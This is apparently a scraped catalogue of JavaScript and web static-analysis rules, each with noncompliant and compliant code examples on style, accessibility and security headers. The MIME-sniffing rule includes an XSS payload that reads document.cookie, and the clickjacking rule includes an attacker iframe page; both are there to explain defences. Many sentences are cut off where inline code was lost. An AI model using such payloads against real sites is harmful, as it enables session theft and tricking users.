Instead, the best way to see whether a variable is equal to Noncompliant Code Examplevar a = NaN; if (a === NaN) { // Noncompliant; always false console.log("a is not a number"); // this is dead code } if (a !== NaN) { // Noncompliant; always true console.log("a is not NaN"); // this statement is not necessarily true } Compliant Solutionif (Number.isNaN(a)) { console.log("a is not a number"); } if (!Number.isNaN(a)) { console.log("a is not NaN"); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S878 |
The comma operator takes two expressions, executes them from left to right and returns the result of the second one. Use of this operator is generally detrimental to the readability and reliability of code, and the same effect can be achieved by other means. Noncompliant Code Examplei = a += 2, a + b; // What's the value of i ? Compliant Solutiona += 2; i = a + b; ExceptionsUse of comma operator is tolerated:
for(i = 0, j = 5; i < 6; i++, j++) { ... }
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Examplefunction foo(n, m) { switch (n) { case 0: switch (m) { // Noncompliant; nested switch // ... } case 1: // ... default: // ... } } Compliant Solutionfunction foo(n, m) { switch (n) { case 0: bar(m); case 1: // ... default: // ... } } function bar(m) { switch(m) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S881 |
The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:
Noncompliant Code Exampleu8a = ++u8b + u8c--; foo = bar++ / 4; Compliant SolutionThe following sequence is clearer and therefore safer: ++u8b; u8a = u8b + u8c; u8c--; foo = bar / 4; bar++; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5742 |
Certificate Transparency (CT) is an open-framework to protect against identity theft when certificates are issued. Certificate Authorities (CA) electronically sign certificate after verifying the identify of the certificate owner. Attackers use, among other things, social engineering attacks to trick a CA to correctly verifying a spoofed identity/forged certificate. CAs implement Certificate Transparency framework to publicly log the records of newly issued certificates, allowing the public and in particular the identity owner to monitor these logs to verify that his identify was not usurped. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement Expect-CT HTTP header which instructs the web browser to check public CT logs in order to verify if the website appears inside and if it is not, the browser will block the request and display a warning to the user. Sensitive Code ExampleIn Express.js application the code is sensitive if the expect-ct middleware is disabled: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet({ expectCt: false // Sensitive }) ); Compliant SolutionIn Express.js application the expect-ct middleware is the standard way to implement
expect-ct. Usually, the deployment of this policy starts with the report only mode ( const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.expectCt({ enforce: true, maxAge: 86400 })); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1264 |
When only the condition expression is defined in a Noncompliant Code Examplefor (;condition;) { /*...*/ } Compliant Solutionwhile (condition) { /*...*/ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1143 |
Using This rule raises an issue when a jump statement ( Noncompliant Code Examplefunction foo() { try { return 1; // We expect 1 to be returned } catch(err) { return 2; // Or 2 in cases of error } finally { return 3; // Noncompliant: 3 is returned before 1, or 2, which we did not expect } } Compliant Solutionfunction foo() { try { return 1; // We expect 1 to be returned } catch(err) { return 2; // Or 2 in cases of error } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2598 |
These minimum restrictions should be applied when handling file uploads:
Also the size of the uploaded file should be limited to prevent denial of service attacks. This requirement is covered by the rule S5693. Noncompliant Code Exampleformidable module: const Formidable = require('formidable'); const form = new Formidable(); // Noncompliant, this form is not safe form.uploadDir = ""; // because upload dir is not defined (by default os temp dir: /var/tmp or /tmp) form.keepExtensions = true; // and file extensions are kept multer (Express.js middleware) module: const multer = require('multer'); let diskStorage = multer.diskStorage({ // Noncompliant: no destination specified filename: (req, file, cb) => { const buf = crypto.randomBytes(20); cb(null, buf.toString('hex')) } }); // This upload is not safe as no destination specified, /var/tmp or /tmp will be used let diskupload = multer({ storage: diskStorage, }); Compliant Solutionformidable module: const Formidable = require('formidable'); const form = new Formidable(); // Compliant form.uploadDir = "./uploads/"; form.keepExtensions = false; multer (Express.js middleware) module: const multer = require('multer'); let diskStorage = multer.diskStorage({ // Compliant filename: (req, file, cb) => { const buf = crypto.randomBytes(20); cb(null, buf.toString('hex')) }, destination: (req, file, cb) => { cb(null, './uploads/') } }); let diskupload = multer({ storage: diskStorage, }); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3686 |
Constructor functions, which create new object instances, must only be called with Noncompliant Code Examplefunction getNum() { return 5; } function Num(numeric, alphabetic) { this.numeric = numeric; this.alphabetic = alphabetic; } var myFirstNum = getNum(); var my2ndNum = new getNum(); // Noncompliant. An empty object is returned, NOT 5 var myNumObj1 = new Num(); var myNumObj2 = Num(); // Noncompliant. undefined is returned, NOT an object |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2234 |
When the names of arguments in a function call match the names of the function parameters, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the function parameters, it indicates a mistake in the parameter order which will likely lead to unexpected results. Noncompliant Code Examplefunction divide(divisor, dividend) { return divisor/dividend; } function doTheThing() { var divisor = 15; var dividend = 5; var result = divide(dividend, divisor); // Noncompliant; operation succeeds, but result is unexpected //... } Compliant Solutionfunction divide(divisor, dividend) { return divisor/dividend; } function doTheThing() { var divisor = 15; var dividend = 5; var result = divide(divisor, dividend); //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5743 |
By default, web browsers perform DNS prefetching to reduce latency due to DNS resolutions required when an user clicks links from a website page. For instance on example.com the hyperlink below contains a cross-origin domain name that must be resolved to an IP address by the web browser: <a href="https://otherexample.com">go on our partner website</a> It can add significant latency during requests, especially if the page contains many links to cross-origin domains. DNS prefetch allows web browsers to perform DNS resolving in the background before the user clicks a link. This feature can cause privacy issues because DNS resolving from the user's computer is performed without his consent if he doesn't intent to go to the linked website. On a complex private webpage, a combination "of unique links/DNS resolutions" can indicate, to a eavesdropper for instance, that the user is visiting the private page. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement X-DNS-Prefetch-Control header with an off value but this could significantly degrade website performances. Sensitive Code ExampleIn Express.js application the code is sensitive if the dns-prefetch-control middleware is disabled or used without the recommended value: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.dnsPrefetchControl({ allow: true // Sensitive: allowing DNS prefetching is security-sensitive }) ); Compliant SolutionIn Express.js application the dns-prefetch-control or helmet middleware is the standard way to implement const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.dnsPrefetchControl({ allow: false // Compliant }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif (!(a === 2)) { ... } // Noncompliant Compliant Solutionif (a !== 2) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3317 |
By convention, a file that exports only one class, function, or constant should be named for that class, function or constant. Anything else may confuse maintainers. Noncompliant Code Example// file path: myclass.js -- Noncompliant class MyClass { // ... } export default MyClass; Compliant Solution// file path: MyClass.js class MyClass { // ... } export default MyClass; ExceptionsCase, underscores ( |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5739 |
When implementing the HTTPS protocol, the website mostly continue to support the HTTP protocol to redirect users to HTTPS when they request a HTTP version of the website. These redirects are not encrypted and are therefore vulnerable to man in the middle attacks. The Strict-Transport-Security policy header (HSTS) set by an application instructs the web browser to convert any HTTP request to HTTPS. Web browsers that see the Strict-Transport-Security policy header for the first time record information specified in the header:
With the Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement Strict-Transport-Security policy header, it is recommended to apply this policy to all subdomains ( Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet or hsts middleware are disabled or used without recommended values: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.hsts({ maxAge: 3153600, // Sensitive, recommended >= 15552000 includeSubDomains: false // Sensitive, recommended 'true' })); Compliant SolutionIn Express.js application a standard way to implement HSTS is with the helmet or hsts middleware: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.hsts({ maxAge: 31536000, includeSubDomains: true })); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5736 |
HTTP header referer contains a URL set by web browsers and used by applications to track from where the user came from, it's for instance a relevant value for web analytic services, but it can cause serious privacy and security problems if the URL contains confidential information. Note that Firefox for instance, to prevent data leaks, removes path information in the Referer header while browsing privately. Suppose an e-commerce website asks the user his credit card number to purchase a product: <html> <body> <form action="/valid_order" method="GET"> Type your credit card number to purchase products: <input type=text id="cc" value="1111-2222-3333-4444"> <input type=submit> </form> </body> When submitting the above HTML form, a HTTP GET request will be performed, the URL requested will be https://example.com/valid_order?cc=1111-2222-3333-4444 with credit card number inside and it's obviously not secure for these reasons:
In addition to these threats, when further requests will be performed from the "valid_order" page with a simple legitimate embedded script like that: <script src="https://webanalyticservices_example.com/track"> The referer header which contains confidential information will be send to a third party web analytic service and cause privacy issue: GET /track HTTP/2.0 Host: webanalyticservices_example.com Referer: https://example.com/valid_order?cc=1111-2222-3333-4444 Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesConfidential information should not be set inside URLs (GET requests) of the application and a safe (ie: different from Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet const express = require('express'); const helmet = require('helmet'); app.use( helmet.referrerPolicy({ policy: 'no-referrer-when-downgrade' // Sensitive: no-referrer-when-downgrade is used }) ); Compliant SolutionIn Express.js application a secure solution is to user the helmet referrer policy middleware set
to const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.referrerPolicy({ policy: 'no-referrer' // Compliant }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5730 |
A mixed-content is when a resource is loaded with the HTTP protocol, from a website accessed with the HTTPs protocol, thus mixed-content are not encrypted and exposed to MITM attacks and could break the entire level of protection that was desired by implementing encryption with the HTTPs protocol. The main threat with mixed-content is not only the confidentiality of resources but the whole website integrity:
Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement content security policy block-all-mixed-content directive which is supported by all modern browsers and will block loading of mixed-contents. Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { "default-src": ["'self'", 'example.com', 'code.jquery.com'] } // Sensitive: blockAllMixedContent directive is missing }) ); Compliant SolutionIn Express.js application a standard way to block mixed-content is to put in place the helmet-csp or helmet middleware with the
const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { "default-src": ["'self'", 'example.com', 'code.jquery.com'], blockAllMixedContent: [] // Compliant } }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1131 |
Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file. If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so. Noncompliant Code Example// The following string will error if there is a whitespace after '\' var str = "Hello \ World"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunction divide(numerator, denominator) { return numerator / denominator; // FIXME denominator value might be 0 } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5734 |
MIME confusion attacks occur when an attacker successfully tricks a web-browser to interpret a resource as a different type than the one expected. To correctly interpret a resource (script, image, stylesheet ...) web browsers look for the Content-Type header defined in the HTTP response received from the server, but often this header is not set or is set with an incorrect value. To avoid content-type mismatch and to provide the best user experience, web browsers try to deduce the right content-type, generally by inspecting the content of the resources (the first bytes). This "guess mechanism" is called MIME type sniffing. Attackers can take advantage of this feature when a website ("example.com" here) allows to upload arbitrary files. In that case, an attacker can upload a malicious image fakeimage.png (containing malicious JavaScript code or a polyglot content file) such as: <script>alert(document.cookie)</script> When the victim will visit the website showing the uploaded image, the malicious script embedded into the image will be executed by web browsers performing MIME type sniffing. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesImplement X-Content-Type-Options header with nosniff value (the only existing value for this header) which is supported by all modern browsers and will prevent browsers from performing MIME type sniffing, so that in case of Content-Type header mismatch, the resource is not interpreted. For example within a <script> object context, JavaScript MIME types are expected (like application/javascript) in the Content-Type header. Sensitive Code ExampleIn Express.js application the code is sensitive if, when using helmet, the const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet({ noSniff: false, // Sensitive }) ); Compliant SolutionWhen using const express = require('express'); const helmet= require('helmet'); let app = express(); app.use(helmet.noSniff()); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4524 |
For readability purpose, to help a developer to quickly find the default behavior of a Noncompliant Code Exampleswitch (param) { case 0: doSomething(); break; default: // default clause should be the first or last one error(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3796 |
Arrays in JavaScript have several methods for filtering, mapping or folding that require a callback. Not having a return statement in such a callback function is most likely a mistake. This rule applies for the following methods of an array:
Noncompliant Code Examplevar merged = arr.reduce(function(a, b) { a.concat(b); }); // Noncompliant: No return statement Compliant Solutionvar merged = arr.reduce(function(a, b) { return a.concat(b); }); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunction doSomething() { // TODO } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3799 |
Destructuring is a convenient way of extracting multiple values from data stored in (possibly nested) objects and arrays. However, it is possible to create an empty pattern that has no effect. When empty curly braces or brackets are used to the right of a property name most of the time the intent was to use a default value instead. This rule raises an issue when empty destructuring pattern is used. Noncompliant Code Examplevar {a: {}, b} = myObj; // Noncompliant function foo({first: [], second}) { // Noncompliant // ... } Compliant Solutionvar {a = {}, b} = myObj; function foo({first = [], second}) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5732 |
Clickjacking attacks occur when an attacker try to trick an user to click on certain buttons/links of a legit website. This attack can take place with malicious HTML frames well hidden in an attacker website. For instance, suppose a safe and authentic page of a social network (https://socialnetworkexample.com/makemyprofilpublic) which allows an user to change the visibility of his profile by clicking on a button. This is a critical feature with high privacy concerns. Users are generally well informed on the social network of the consequences of this action. An attacker can trick users, without their consent, to do this action with the below embedded code added on a malicious website: <html> <b>Click on the button below to win 5000$</b> <br> <iframe src="https://socialnetworkexample.com/makemyprofilpublic" width="200" height="200"></iframe> </html> Playing with the size of the iframe it's sometimes possible to display only the critical parts of a page, in this case the button of the makemyprofilpublic page. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement content security policy frame-ancestors directive which is supported by all modern browsers and will specify the origins of frame allowed to be loaded by the browser (this directive deprecates X-Frame-Options). Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { // other directives frameAncestors: ["'none'"] // Sensitive: frameAncestors is set to none } }) ); Compliant SolutionIn Express.js application a standard way to implement CSP frame-ancestors directive is the helmet-csp or helmet middleware: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { // other directives frameAncestors: ["'example.com'"] // Compliant } }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2589 |
If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed. Noncompliant Code Exampleif (a) { if (a) { // Noncompliant doSomething(); } } Compliant Solutionif (a) { if (b) { doSomething(); } } // or if (a) { doSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3798 |
Any variable or function declared in the global scope implicitly becomes attached to the global object (the This rule should not be activated when modules are used. Noncompliant Code Examplevar myVar = 42; // Noncompliant function myFunc() { } // Noncompliant Compliant Solutionwindow.myVar = 42; window.myFunc = function() { }; or let myVar = 42; let myFunc = function() { } or // IIFE (function() { var myVar = 42; function myFunc() { } })(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:UnifiedExpressionCheck |
This rule allows to make sure that all JSF Expressions are syntactically correct. Noncompliant Code Example<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:h="http://java.sun.com/jsf/html"> <h:body> First name <h:outputText value="#{user.firstName && @@}"/> <!-- Noncompliant --> </h:body> </html> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:InternationalizationCheck |
Web applications can be made available in multiple languages through the use of internationalization. This allows the server to plug in the correct version of a piece of text based on the language chosen, but it requires that internationalization messages be used instead of hard-coded text. Noncompliant Code Example<form method="post"> <label for="username">Username:</label> <!-- Noncompliant --> <input type="text" id="username" name="username"> <br> <label for="password">Password:</label> <!-- Noncompliant --> <input type="password" id="password" name="password"> <br> <input type="submit" name="submit" value="${buttonValue}"> </form> Compliant Solution<form method="post"> <label for="username"><fmt:message key="login.label.username" />:</label> <input type="text" id="username" name="username"> <br> <label for="password"><fmt:message key="login.label.password" />:</label> <input type="password" id="password" name="password"> <br> <input type="submit" name="submit" value="${buttonValue}"> </form> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:FieldsetWithoutLegendCheck |
For users of assistive technology such as screen readers, it may be challenging to know what is expected in each form's input. The input's label alone might not be sufficient: 'street' could be part of a billing or a shipping address for instance. Fieldset legends are read out loud by screen readers before the label each time the focus is set on an input. For example, a legend 'Billing address' with a label 'Street' will read 'Billing address street'. Legends should be short, and 'Your' should not be repeated in both the legend and the label, as it would result in 'Your address Your City' being read. Noncompliant Code Example<fieldset> <!-- Noncompliant --> Street: <input type="text"><br /> Town: <input type="text"><br /> Country: <input type="text"><br /> </fieldset> Compliant Solution<fieldset> <legend>Billing address</legend> Street: <input type="text"><br /> Town: <input type="text"><br /> Country: <input type="text"><br /> </fieldset> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:PageWithoutFaviconCheck |
Favicons are shown for example in the browser's address bar, bookmark list, or tabs. They enable users to quickly identify and recognize websites. Noncompliant Code Example<head> <!-- Noncompliant --> <title>...<title> </head> Compliant Solution<head> <title>...<title> <link rel="shortcut icon" href="http://example.com/myicon.ico" /> </head> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ItemTagNotWithinContainerTagCheck |
Using a Noncompliant Code Example<li>Apple</li> <!-- Noncompliant --> <li>Strawberry</li> <!-- Noncompliant --> <li>Apple</li> <!-- Noncompliant --> <li>Strawberry</li> <!-- Noncompliant --> <dt>Apple</dt> <!-- Noncompliant --> <dt>Strawberry</dt> <!-- Noncompliant --> Compliant Solution<ul> <li>Apple</li> <li>Strawberry</li> </ul> <ol> <li>Apple</li> <li>Strawberry</li> </ol> <dl> <dt>Apple</dt> <dt>Strawberry</dt> </dl> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:LibraryDependencyCheck |
This rule raises an issue when a configured Java package or class is used in a JSP file. Noncompliant Code ExampleGiven a disallowed list of <%@ page import="java.sql.*" %> <!-- Noncompliant --> <% java.util.ArrayList clients; %> <!-- Noncompliant --> <% java.lang.String name; %> <!-- Compliant --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:LinkToImageCheck |
Whenever a user clicks on a link that targets an image, the website's navigation menu will be lost. From a user point of view, it is as if she left the website. The only way to return to it is using the browser's 'Back' button. Instead, it is better to create a page which will display the image using the Further, in terms of accessibility, when the image is embedded into a page, content providers are able to provide an alternate text equivalent
through the Noncompliant Code Example<a href="image.png">...</a> <!-- Non-Compliant --> Compliant Solution<a href="page.html">...</a> <!-- Compliant --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:IllegalAttributeCheck |
This rule checks that the specified attributes are not present in HTML tags. Noncompliant Code ExampleFor a disallowed attribute list of: <a href="blah.com" name="Blah link"> <!-- Noncompliant; name attribute is used --> Compliant Solution<a href="blah.com"> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:S5725 |
Fetching external resources, for example from a CDN, without verifying their integrity could impact the security of an application if the CDN gets compromised and resources are replaced by malicious ones. Resources integrity feature will block resources inclusion into an application if the pre-computed digest of the expected resource doesn't match with the digest of the retrieved resource. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding Practices
Sensitive Code Example<script src="https://cdnexample.com/script.js"></script> <!-- Sensitive --> Compliant Solution<script src="https://cdnexample.com/script.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"></script> <!-- Compliant: integrity value should be replaced with the digest of the expected resource --> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:WmodeIsWindowCheck |
Browsers best support the As it is the default mode, it is acceptable to either not specify a Noncompliant Code Example<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400"> <param name="movie" value="movie_name.swf" /> <param name="wmode" value="direct" /> <!-- Non-Compliant --> </object> <embed src="movie_name.swf" width="550" height="400" wmode="direct" <!-- Non-Compliant --> type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> Compliant Solution<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400"> <param name="movie" value="movie_name.swf" /> </object> <embed src="movie_name.swf" width="550" height="400" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> or <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400"> <param name="movie" value="movie_name.swf" /> <param name="wmode" value="window" /> </object> <embed src="movie_name.swf" width="550" height="400" wmode="window" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:IllegalTabCheck |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:JspScriptletCheck |
JSP expressions (using
JSP Standard Tag Library (JSTL) and Expression Language should be used instead, enabiling the adoption of the model-view-controller (MVC) design pattern which reduces the coupling between the presentation tier and the business logic. Noncompliant Code Example<input type="text" name="foo" value="<%= request.getParameter("foo") %>" /> Compliant Solution<input type="text" name="foo" value="${fn:escapeXml(param.foo)}" /> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:ImgWithoutWidthOrHeightCheck |
If the Without those attributes, the page layout constantly changes as images are loaded until they are all loaded, which can disorient users. Noncompliant Code Example<img src="logo.png" alt="My Company" /> <!-- Non-Compliant --> Compliant Solution<img src="logo.png" alt="My Company" width="100" height="50" /> <!-- Compliant --> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:InputWithoutLabelCheck |
The The It also improves usability for users with impaired motor control: when the text within the In most cases, Sometimes the field is explained by an icon. In this case the label can be either hidden or the The purpose of this rule is to make sure that every Noncompliant Code Example<input type="text" name="firstname" /> <!-- Non-Compliant - no id --> <input type="text" name="lastname" id="lastname" /> <!-- Non-Compliant - no matching label for "lastname" --> <label for="address">Address</label> <input type="text" name="address" id="address" /> <!-- Compliant --> <input type="hidden" name="time" value="..."> <!-- Compliant - "hidden" type is excluded --> <input type="submit" value="Send" /> <!-- Compliant - "submit" type is excluded --> Compliant Solution<label for="firstname">First name</label> <input type="text" name="firstname" id="firstname" /> <label for="lastname">Last name</label> <input type="text" name="lastname" id="lastname" /> <!-- OR --> <input type="text" name="firstname" aria-label="firstname"> <div id="lastNameId">Last name</div> <input type="text" name="lastname" aria-labelledby="lastNameId"/> <!-- still compliant --> <label for="address">Address</label> <input type="text" name="address" id="address" /> <input type="hidden" name="time" value="..."> <input type="submit" value="Send" /> ExceptionsNo issue will be raised on "implicit labels", i.e. <label> Name: <input type="text" name="name"> </label> See* WCAG2, H97 - Using label elements to associate text labels with form controls * W3C Web Accessibility Tutorials - Labeling Controls |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:FlashUsesBothObjectAndEmbedCheck |
The When an ActiveX-enabled browser loads the HTML page, it reads the values set on the Noncompliant Code Example<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100"> <!-- Non-Compliant --> <param name="movie" value="movie_name.swf" /> </object> <embed src="movie_name.swf" <!-- Non-Compliant --> width="550" height="400" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> Compliant Solution<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100"> <!-- Compliant --> <param name="movie" value="movie_name.swf" /> <embed src="movie_name.swf" <!-- Compliant --> width="550" height="400" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Web:LinksIdenticalTextsDifferentTargetsCheck |
